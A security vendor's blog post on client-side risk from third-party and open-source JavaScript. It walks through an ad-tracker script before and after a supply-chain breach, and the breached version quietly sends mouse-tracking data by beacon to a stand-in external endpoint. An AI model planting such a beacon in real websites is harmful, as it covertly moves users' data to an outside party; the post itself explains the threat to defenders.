HUMAN Blog

Client-Side - The Security Blindspot of your Website

Developing and managing a web application to scale has evolved in many different ways over the past two decades. In the following post, we’ll describe how a few of the more notable changes have led web application operators into a challenging situation.

The Evolution of Web Applications

With the growth in global internet bandwidth, stronger computers and extremely powerful modern browsers, web application architecture has changed significantly in two aspects:

  • An explosion of web and mobile applications - There were 1.9 billion websites in early 2022 — more than 2x the number at the start of 2016. Modern websites typically contain a set of transactional logic, such as financial transactions, online identity, shopping, booking, banking and media consumption. Many are operated by Javascript code from third-party vendors. Over time, small monolith websites have grown into multicomponent systems where each component is nearly autonomous.
  • Web applications code moved to the client-side - Core logic in modern web applications has shifted from server-side processing to front-end JavaScript libraries. This reduces the load from server-side processing, resulting in better performance and user experience. According to httparchive.org, front-end javascript code has grown over 256% for desktop and over 479% for mobile in the last decade — and it keeps growing.

 

The Evolution of the Development Teams

With the increasing complexity of web development processes and the multiple functions that are needed within the web development team, website teams keep growing. As a result of the shift to client-side development, web developers are moving to front-end or full-stack development. Web developer job growth is expected to increase by 27% by 2024, according to the U.S. Bureau of Labor Statistics, and full stack engineer ranked second in Glassdoor’s list of 50 Best Jobs in 2022. It all boils down to the fact that there are many more “hands” working on the same code base, pushing new code to the browser.

A few years back, a single team was responsible for all aspects of web application development. Current challenges have created a dynamic situation where multiple teams are working on the same website, each in a different section or layer, and often completely out of sync for changes with mutual impact.

The Evolution of Client Side Javascript

Developers once had full accountability for website source code. Today things are a bit different, due to the following trends in the last few years:

  • The rise of open-source libraries - Thousands of open source libraries contribute to a big portion of the modern web app code base. CA Veracode recently found that 83% of developers use code components to build web applications. Research has found that up to 70% of the average website is made up of third-party code.
  • More teams in the company require JavaScript libraries - The use of third-party JavaScript libraries is on the rise. Multiple teams across an organization – from marketing, sales and customer success to engineers and developers — rely on this code for lead tracking metrics, support and chat widgets, and performance and stability services.. This means that multiple vendor scripts are running on the client-side of your website, and more data is being shared with these vendors. These circumstances put developers in a position of reduced control over the final code running in user's browsers.

Everything described above has led to a situation where a standard web app easily becomes a large system built from in-house code, third-party vendor code and open source libraries, all managed by different teams. Together, this significantly increases your vulnerability to client-side attacks. The root of the problem is that these libraries are statically loaded into the page by an inline snippet, but dynamically change their content in the background, outside of the site owner's control.

Let’s differentiate between the main sources of these modules

  1. Third-party vendors - These are companies which the web operator is contracting to provide a service. Such vendors are supposed to be reliable — and, in many cases, compliant with various standards — but they don’t usually provide visibility to code updates or changes, nor the ability to lock a specific version that was audited when first integrated.

  2. Open source libraries - While these provide many benefits and enable developers to lock a version and stay in control, it is extremely hard for a site operator to monitor and audit the entire code. On several occasions, such libraries have become compromised.

Scripts from third-party vendors and open sources libraries can lead to JavaScript behavioral changes on the page, affecting factors such as:

  • Network protocols and network destinations
  • Storage properties — such as cookies and local or session storage — and the associated storage keys
  • Mutated DOM elements that could impact the user experience

There is often a gap between the strict supervision of in-house code changes pushed to production and the lack of supervision of changes to third-party code — even though both of them are running on the same webpage.

Now, I will show how attackers abuse this trend and suggest different methods that can help get visibility and better insights into analyzing front-end code and changes in it.

Let’s take a simplified example of how the behavior of a third-party library may change as a result of a breach. This is an ad optimization third-party library that collects ad related metrics and was added to a website by the marketing team. After the third-party vendor that provides this service was breached, the behavior of the library has changed. The new behavior of the library potentially leaks users’ sensitive data to an unfamiliar HTTP endpoint, unbeknownst to the web operator, who can do nothing to prevent or mitigate this data leak.

The script was added to the tag from a known CDN

<head>
  <script src="http://SOME-CDN.com/assets/ad_tracker.js"></script>
</head>
The Original adtracker.js_
let EVENTS = [];
const TARGET_SERVER = "https://events-server.com/api";
document.getElementById("ad").addEventListener("mousemove", function(event) {
  const lastPos = `${event.clientY},${event.clientX}`;
  EVENTS.push(lastPos);
  document.cookie = `lastpos=${lastPos}`;
  if (EVENTS.length > 10) {
    flashEvents();
  }
});

function flashEvents() {
  let xhr = new XMLHttpRequest();
  xhr.open("POST", TARGET_SERVER);
  xhr.send(JSON.stringify(EVENTS));
  EVENTS = [];
}

Let's map the behavior of the script:

Operator Action Target
ad_tracker.js Set cookie “lastpos” cookie
ad_tracker.js DOM Element Lookup DIV#ad
ad_tracker.js Network XHR https://events-server.com/api

Now at this stage, the script got breached, and with the content change, the script behavior changed as well. The script still performs most of the actions performed before, only now, new actions have also been added. These actions are taking the sensitive data collected by the original script and sending it to a new endpoint to be saved by an unfamiliar browser storage entity.

New adtracker.js version content_

let EVENTS = [];
const TARGET_SERVER = "https://events-server.com/api";
const TARGET_SERVER1 = "https://users-server.com/api";
document.getElementById("ad").addEventListener("mousemove", function(event) {
  const lastPos = `${event.clientY},${event.clientX}`;
  EVENTS.push(lastPos);
  document.cookie = `lastpos_cookie=${lastPos}`;
  localStorage.setItem("lastpos", `${lastPos}`); // User’s data is saved to a new storage entity
  if (EVENTS.length > 10) {
    flashEvents();
  }
});

function flashEvents() {
  let xhr = new XMLHttpRequest();
  xhr.open("POST", TARGET_SERVER);
  xhr.send(JSON.stringify(EVENTS));
  EVENTS = [];

  if (navigator.sendBeacon) {
    const data = "events=" + JSON.stringify(EVENTS);
    navigator.sendBeacon(TARGET_SERVER1, data); // User’s data is sent to a new HTTP endpoint
  }
}

Here’s how the new behavior map of the script looks like:

Operator Action Target Details
ad_tracker.js Cookie Setter “lastpos_data” cookie Target changed
ad_tracker.js DOM Element Lookup DIV#ad Known behavior
ad_tracker.js Network XHR https://events-server.com/api Known behavior
ad_tracker.js Localstorage Setter "lastpos" storage key New behavior
ad_tracker.js Network Beacon https://users-server.com/api New behavior

The new actions performed by the third-party library are completely invisible to the web developers and SREs responsible for the site performance and experience. Even so, they are still liable for their users’ data. This script could potentially send sensitive data from the local storage to an unknown domain, and they would not be notified of this kind of change nor have an easy way to control it.

This is just one example of what constantly happens on the client-side of the websites, leaving the website's operator blind to a significant part of the website activity.

In the second blog post in this series, we’ll talk about how these changing libraries open a door for data breaches and user session hijacking threats.